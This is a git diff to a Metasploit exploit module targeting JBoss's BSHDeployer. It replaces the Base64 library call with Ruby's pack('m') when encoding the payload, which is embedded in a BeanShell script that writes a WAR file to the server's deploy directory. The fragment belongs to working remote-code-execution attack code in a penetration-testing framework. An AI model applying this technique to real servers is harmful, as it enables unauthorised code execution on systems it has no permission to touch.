diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 8dafbbc154..34eec09326 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -10,7 +10,6 @@ ## require 'msf/core' -require 'base64' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -97,11 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote # The following Beanshell script will write the exploded WAR file to the deploy/ # directory + encoded_payload = [p.encoded].pack('m').gsub(/\n/, '') bsh_script = <<-EOT import java.io.FileOutputStream; import sun.misc.BASE64Decoder; -String val = "#{Base64.encode64(p.encoded).gsub(/\n/, '')}"; +String val = "#{encoded_payload}"; BASE64Decoder decoder = new BASE64Decoder(); String jboss_home = System.getProperty("jboss.server.home.dir");